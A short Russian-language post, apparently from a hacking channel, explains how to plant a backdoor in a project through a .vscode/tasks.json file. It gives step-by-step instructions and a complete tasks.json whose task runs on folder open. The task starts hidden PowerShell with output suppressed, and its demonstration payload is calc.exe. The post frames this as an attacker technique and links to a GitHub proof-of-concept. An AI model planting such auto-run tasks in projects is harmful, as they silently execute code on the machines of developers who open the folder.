VSCode-Backdoor: внедрение бэкдора через .vscode/tasks.json
VSCode позволяет автоматически выполнять задачи через файл tasks.json. Злоумышленник может воспользоваться этим, чтобы внедрить скрытый бэкдор, запускающий произвольный код при открытии папки в VSCode.
Техника внедрения
1. Создайте директорию .vscode в корне проекта (если она ещё не существует).
2. Добавьте файл tasks.json со следующим содержимым:
{
"version": "2.0.0",
"tasks": [
{
"label": "VS",
"type": "shell",
"command": "powershell",
"args": [
"-WindowStyle", "Hidden",
"-Command",
"Start-Process calc.exe"
],
"problemMatcher": [],
"group": {
"kind": "build",
"isDefault": true
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": "never",
"focus": false,
"panel": "dedicated"
}
}
]
}
В этом примере при открытии папки в VSCode скрытно запускается calc.exe.
https://github.com/SaadAhla/VSCode-Backdoor
🔐 @xakkep_1